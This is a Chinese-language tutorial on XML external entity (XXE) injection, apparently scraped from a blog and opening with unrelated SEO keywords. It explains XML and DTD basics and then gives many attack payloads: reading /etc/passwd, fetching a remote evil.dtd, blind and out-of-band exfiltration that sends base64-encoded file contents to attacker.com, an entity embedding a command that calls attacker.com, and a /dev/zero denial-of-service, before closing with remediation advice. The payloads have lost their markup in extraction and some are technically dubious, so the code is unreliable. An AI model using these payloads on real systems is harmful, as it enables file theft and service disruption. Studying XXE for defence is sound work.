苏州做网站公司排名,wordpress主题搭建,建立搜索引擎网站,建网站是永久的吗目录 1.xml基础
1.1什么是xml
1.2xml文档结构
1.3 什么是DTD
1.4 什么是实体
1.5 什么是外部实体
2.xxe漏洞
2.1xxe漏洞基本介绍
2.2xxe漏洞的危害
经典漏洞案例分析
3.xxe漏洞挖掘和利用
3.1. 识别潜在的XML入口
3.2. 检查XML处理逻辑
3.3. 构造试探Payload
常…目录 1.xml基础
1.1什么是xml
1.2xml文档结构
1.3 什么是DTD
1.4 什么是实体
1.5 什么是外部实体
2.xxe漏洞
2.1xxe漏洞基本介绍
2.2xxe漏洞的危害
经典漏洞案例分析
3.xxe漏洞挖掘和利用
3.1. 识别潜在的XML入口
3.2. 检查XML处理逻辑
3.3. 构造试探Payload
常见的一般payload xxe盲注
xxe报错注入
xxe漏洞实现dos攻击
4.xxe的bypass
5.xxe漏洞修复
留言 1.xml基础
1.1什么是xml
XML全称“可扩展标记语言”extensible markup languageXML是一种用于存储和传输数据的语言。与HTML一样XML使用标签和数据的树状结构。但不同的是XML不使用预定义标记因此可以为标记指定描述数据的名称。
1.2xml文档结构 xml声明DTD文档类型定义文档元素 其中note是根元素所有XML文档必须包含一个根元素根元素是所有其他元素的父元素。
1.3 什么是DTD DTDdocument type definition文档类型定义用于定义XML文档的结构它作为xml文件的 一部分位于XML声明和文档元素之间比如下面DTD 它就定义了 XML 的根元素必须是message根元素下面有一些子元素所以 XML必须像下 面这么写 其中DTD需要在DOCTYPE注释中定义根元素而后在中括号的[]内使用ELEMENT注 释定义各元素特征。
1.4 什么是实体 再看下面一个DTD 很容易理解它规定了xml文件的根元素是foo但ANY说明接受任何元素。重点是!ENTITY 这就是我们要提到的实体实体本质是定义了一个变量变量名xxe值为“test”后面在 XML 中通过 符号进行引用所以根据DTD我们写出下面的xml文件 因为ANY的属性元素我们可以随意命令但user值通过xxe实际值为test
1.5 什么是外部实体 知道了什么是实体再说说其实实体分为两种内部实体和外部实体上面的例子就是内部 实体。XML外部实体是一种自定义实体定义位于声明它们的DTD之外声明使用SYSTEM 关键字比如加载实体值的URL 这里URL可以使用file://协议因此可以从文件加载外部实体。例如 这也是产生XXE漏洞的原因。
2.xxe漏洞
2.1xxe漏洞基本介绍 xml外部实体注入全称为XML external entity injection某些应用程序允许XML格式的数据 输入和解析可以通过引入外部实体的方式进行攻击。
2.2xxe漏洞的危害 本地文件读取 攻击者可以通过XXE漏洞读取服务器上的任意文件包括但不限于配置文件、日志文件、数据库凭证文件等敏感信息。 远程文件包含 如果服务器允许解析外部实体并支持DNS或HTTP实体攻击者可以利用XXE漏洞从远程服务器下载数据甚至发起DoS攻击。 内部网络探测 通过构造特殊的实体攻击者可以利用XXE漏洞执行内网端口扫描收集内网服务器信息。 拒绝服务攻击DoS XXE攻击可能导致服务器消耗大量资源例如通过递归引用外部实体或发起大量的网络请求从而引发拒绝服务攻击。 SOAP服务攻击 在处理SOAP请求的服务中如果未正确处理XML实体攻击者可能利用XXE漏洞影响服务的稳定性和安全性。 命令执行 在极少数情况下如果服务器配置极其不当攻击者可能通过XXE漏洞执行系统命令进一步扩大攻击范围。 绕过防火墙和身份验证 通过将攻击负载封装在XML文档中并利用服务器的信任链攻击者可能绕过防火墙规则和身份验证机制。
经典漏洞案例分析
推文微信支付sdk被曝xxe漏洞漏洞原理分析-CSDN博客
3.xxe漏洞挖掘和利用
3.1. 识别潜在的XML入口
寻找应用中所有可能处理XML输入的位置包括但不限于
API接口SOAP/WSDL服务XML-RPC调用XML解析器调用
3.2. 检查XML处理逻辑
分析应用程序如何处理XML数据特别是那些可能包含DTDDocument Type Definition或Entity声明的XML。查看源代码或使用抓包工具如Burp Suite、Wireshark捕获HTTP请求和响应查找XML解析相关的代码或配置。
3.3. 构造试探Payload 常见的一般payload
3.3.1.使用外部实体进行文件读取。 条件
可以引用外部实体服务器要回显结果
?xml version1.0 encodingISO-8859-1?
!DOCTYPE foo [!ENTITY xxe SYSTEM file:///etc/passwd ]
fooxxe;/foo#如果是使用windows系统则文件名为 file:///c:/windows/win.ini
3.3.2.还可以使用外部参数实体外部实体进行文件读取。 攻击者发受害者
!DOCTYPE foo [
!ELEMENT foo ANY
!ENTITY % xxe SYSTEM http://xxxx/evil.dtd
%xxe;]
fooevil;/foo攻击者远程文件evil.dtd
#此处为evil.dtd文件内容!ENTITY evil SYSTEM “file:///c:/windows/win.ini xxe盲注 盲注是一种利用XXE漏洞进行信息收集的技术当服务器在处理XML数据时因配置问题允许外部实体的解析但并不会在响应中直接返回外部实体包含的内容时就需要使用盲注技术来获取信息。 在XXE盲注中攻击者不能直接看到服务器返回的错误消息或实体包含的数据。因此他们需要通过构造特殊的XML Payload利用服务器对外部实体的解析行为来间接获取信息。通常的做法是
1.布尔型盲注
构造Payload使其尝试访问一个已知存在或不存在的文件或网络资源通过服务器响应时间的差异、HTTP状态码的改变或其他可观察的变化来判断请求是否成功。
例如判断文件是否存在
!DOCTYPE test [!ENTITY % file SYSTEM file:///etc/passwd!ENTITY % true !ENTITY xxe SYSTEM file:///dev/null%true;
]
rootxxe;/root
2. 基于时间的盲注Time-Based Blind XXE
判断系统命令执行耗时
!DOCTYPE test [!ENTITY % file SYSTEM java -classpath ../../../../../../bin/commons-httpclient-3.1.jar org.apache.commons.httpclient.HttpClient http://attacker.com/ sleep 5!ENTITY % true !ENTITY xxe SYSTEM %file;%true;
]
rootxxe;/root#如果服务器响应时间增加明显则可能执行了耗时的系统命令。 !ENTITY % file SYSTEM ...定义了一个名为file的外部实体它的值是一个系统命令。java -classpath ../../../../../../bin/commons-httpclient-3.1.jar org.apache.commons.httpclient.HttpClient http://attacker.com/这是一个Java命令行指令它使用Commons HttpClient库去向攻击者控制的服务器http://attacker.com/发送一个HTTP请求。这意味着当服务器解析并执行此实体时它会触发一个网络请求到攻击者的服务器。sleep 5这是一个Linux命令会让进程暂停5秒。这个部分通常用于基于时间的盲注攻击者可以通过测量服务器响应延迟来判断命令是否被执行。 3. 带外通信Out-of-Band, OOB利用
尝试将数据发送到攻击者控制的服务器
!DOCTYPE test [!ENTITY % file SYSTEM http://attacker.com/?datadata_to_send
]
rootfile;/root#data_to_send会被替换为实际要发送的数据比如从受害服务器中获取的敏感信息。
攻击者在其自己的服务器上监听如果接收到请求则意味着服务器可能受到XXE攻击并执行了外部实体。
xxe报错注入
1.文件路径泄露
攻击者可能构造一个导致服务器尝试打开不存在文件的实体从而在错误消息中包含文件路径或其他上下文信息。这种情况下报错注入的Payload可能是
!DOCTYPE test [!ENTITY xxe SYSTEM file:///non_existent_path
]
rootxxe;/root
当服务器尝试解析这个XML并执行实体xxe时由于指定的文件路径不存在服务器可能会返回一个包含详细错误信息的HTTP响应。攻击者可以根据这些错误信息逐步揭示服务器的内部结构。 2.DTDDocument Type Definition错误利用 利用DTD错误如无限递归或未知实体引用迫使XML解析器崩溃或返回详细的错误消息其中可能包含服务器的环境信息。
!DOCTYPE test [!ENTITY % evil SYSTEM http://attacker.com/evil.dtd!ENTITY % inner !ENTITY % injected SYSTEM file:///etc/passwd%evil;%inner;
]
root/root 在上述示例中攻击者首先定义了一个实体%evil指向恶意DTD文件然后定义了实体%inner尝试读取服务器上的/etc/passwd文件。如果服务器允许DTD继承并解析了恶意DTD文件可能会执行%injected实体从而导致文件读取和错误泄漏。 3.XPath注入与错误利用 如果服务器使用了可配置的XPath查询并且在处理XML时对查询结果进行了错误处理攻击者可以通过构造特殊的XPath表达式导致错误从而泄露信息。
?xml version1.0?
!DOCTYPE poc [!ENTITY % ext SYSTEM file:///etc/passwd!ENTITY % xpath !ENTITY #x25; xp !ENTITY #x25; error SYSTEM file:///etc/passwd%xpath;%xp;
]
x:xmp xmlns:xhttp://www.w3.org/XML/1998/namespacequeryx:select/root/*[name()item and valuebad_value or substring-after(value,error)%error;]/x:select/query
/x:xmp
此例中攻击者尝试结合XPath注入和XXE来触发错误。尽管这通常不会导致错误信息的直接泄露但可能会利用XPath的逻辑导致包含恶意实体的查询被执行。 4.Schema Validation Exploitation 当服务器在处理XML时使用了XML Schema验证并且对验证失败的错误处理不当攻击者可以构造恶意的XML Schema实体导致验证失败时泄露信息。
?xml version1.0?
xs:schema xmlns:xshttp://www.w3.org/2001/XMLSchemaxs:import schemaLocationhttp://attacker.com/malicious.xsd/xs:element nameroot!-- 正常定义元素 --/xs:element
/xs:schema
root/root
此例中攻击者尝试导入一个恶意的XML Schema文件该文件可能包含引起错误的构造导致服务器在验证XML文档时触发错误。 5.Out-of-BandOOB错误利用 通过触发服务器向攻击者控制的服务器发送请求并在请求中包含错误信息攻击者可以通过监控他们的服务器日志来收集泄露的信息。
!DOCTYPE test [!ENTITY % file SYSTEM http://attacker.com/error.xml!ENTITY % oob SYSTEM php://filter/readconvert.base64-encode/resourcefile:///etc/passwd!ENTITY % sendError !ENTITY #x25; result SYSTEM http://attacker.com/receive?data%oob;%sendError;%result;
]
rootfile;/root
在此示例中攻击者首先尝试读取本地文件/etc/passwd并Base64编码然后将编码后的数据通过OOB发送到攻击者控制的服务器如果处理不当可能会在OOB请求中附带错误信息。 xxe漏洞实现dos攻击
XXEXML External Entity Injection漏洞实现DoSDenial of Service拒绝服务攻击的方法主要依赖于利用XML解析器对外部实体的处理机制通过构造特定的XML Payload使得服务器在解析XML文档时陷入循环、消耗大量资源或者发起大量网络请求从而达到拒绝服务的目的。
!DOCTYPE root [
!ENTITY % load SYSTEM file:///dev/zero
!ENTITY % endless %load;endless;
]
rootendless;/root
在这个例子中攻击者定义了一个外部实体%load它尝试从/dev/zero设备文件一个无穷尽的空字节流加载数据。接着定义了一个递归实体%endless它引用自身形成无限递归。
当服务器尝试解析这段XML时会不断地尝试读取/dev/zero导致内存溢出或CPU使用率飙升最终导致服务不可用。同样的攻击者还可以构造类似的Payload让它不断发起网络请求到一个繁忙或者慢速的资源占用服务器的网络资源从而实现DoS攻击。 4.xxe的bypass
XXEXML External Entity Injection漏洞的绕过通常是指攻击者在面对某些安全措施时通过创新或巧妙的方法依然能够利用XXE漏洞。这是因为有些防御措施并未彻底解决XXE的根本问题或者是新出现的漏洞利用技术能够规避现有的防御措施。以下是一些XXE绕过的常见技术 禁用实体加载的绕过 有时服务器会禁用XML解析器对外部实体的加载但可能仍允许内部实体或DTD的解析。攻击者可能通过构造内部实体绕过这一限制如利用内部实体的递归来消耗服务器资源实现DoS攻击。 禁用DTD的绕过 有些服务器禁止了DTD解析但仍可能允许XML模式XSD或架构的解析。攻击者可能利用XML模式中的漏洞来实现XXE攻击。 带外OOB, Out-of-Band信息泄露 当服务器不返回实体内容时攻击者可以构造实体指向攻击者控制的服务器利用服务器端的网络行为如发起请求来进行信息泄露而不依赖于服务器的直接响应。 XPath注入 如果服务器使用了XPath查询并且这些查询基于用户输入攻击者可能结合XXE和XPath注入构造恶意查询来获取敏感信息或执行系统命令。 滥用特性 攻击者可能利用XML解析器的其他特性如php://input伪协议、XML解析器的解析错误等来执行攻击。 利用旧版或有已知漏洞的XML解析器 服务器可能仍在使用老旧版本的XML解析器这些版本可能包含已知的XXE漏洞而服务器管理员未能及时更新。
bypass具体推文
https://www.cnblogs.com/zhengna/p/15740341.html
5.xxe漏洞修复
修复XXEXML External Entity Injection漏洞通常涉及多种策略以下是一些关键的修复措施 1. 禁用外部实体解析 对于使用PHP处理XML的场景可以通过libxml_disable_entity_loader()函数禁用外部实体加载器例如
#php
libxml_disable_entity_loader(true); 对于其他语言和XML解析器查阅对应的文档以找到禁用外部实体加载的方法。
2.过滤XML内容 在处理XML之前对XML数据进行严格的净化和过滤移除或替换掉潜在的实体声明、DOCTYPE定义等内容。 对于用户上传的XML数据可以考虑使用安全的XML解析器只允许解析预定义的、安全的XML结构。
3.Web应用防火墙WAF配置 设置WAF规则以阻止或重写包含可疑实体声明、DOCTYPE定义或其他可能触发XXE攻击的XML请求。 可以通过正则表达式或专门的安全策略来检测并阻止含有XXE攻击特征的XML内容。
4.应用程序层的防御 在应用程序代码层面避免直接将用户提供的XML数据传递给XML解析器而是先进行清理或转换。 对于允许用户上传XML的场景使用白名单策略仅允许符合特定结构和内容规则的XML数据。
5.服务器配置与升级 更新XML解析器到最新版本很多较新的版本都已经默认关闭了外部实体加载或者提供了更为安全的配置选项。 严格配置服务器禁止解析来自不可信来源的DTD文件。
留言
祝各位学习顺利